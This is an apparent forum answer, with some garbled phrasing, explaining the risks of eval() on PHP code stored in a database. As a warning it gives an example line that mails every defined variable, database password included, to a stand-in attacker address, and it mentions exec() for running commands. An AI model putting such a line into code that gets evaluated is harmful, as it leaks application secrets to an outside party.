eval() is inherently unsafe. But it is protected only if the code that it evaluates is safe. Thus, we could come up with an example of code that does something bad, suppose there is some way that the code received in your database, and an arrow.
Code stored elsewhere is not part of your project, not code verified, not tracked in git, and not tested on the device. The code is not generally evaluated in terms of security, so there is no security guarantee. In other words, in terms of quality assurance, this is a poor quality plan, since code security is part of the quality of the code.
Anyone who has access to your database can modify the code, and then this code is executed, I guess without any review. The code has no access restrictions; it can reference and even change variables in the application that calls it. So the question is, how has the code in your database changed? Who has access? What is a code verification process? What is a testing process?
In addition to SQL injection, which can illegally modify PHP code in the database, there is also the security of any authentication that you use for users before they can make authorized changes to the code. I assume that your application has some interface for changing the code in the database via the web interface.
You asked for evidence that I think you need an example of code that could do something bad if it were evaluated.
If I can organize something like the following code that will be stored in your database and eval() this code, I can get a lot of information about your application. For instance. your database password, authentication methods, version of the structure you use ... all kinds of things.
mail(' attacker@example.com ', 'Mwa ha ha', print_r(get_defined_vars(), true));
There are similar functions like get_defined_functions() . Or even return the source code with open(__FILE__) . An attacker can quickly find out where there are other security vulnerabilities in your code.
And then there are various ways that PHP code can get information about your server or make changes to your server. Combine eval() with code that uses exec() , and you can run any command on the server. At least it works under uid, which runs an http server, which I hope is not root.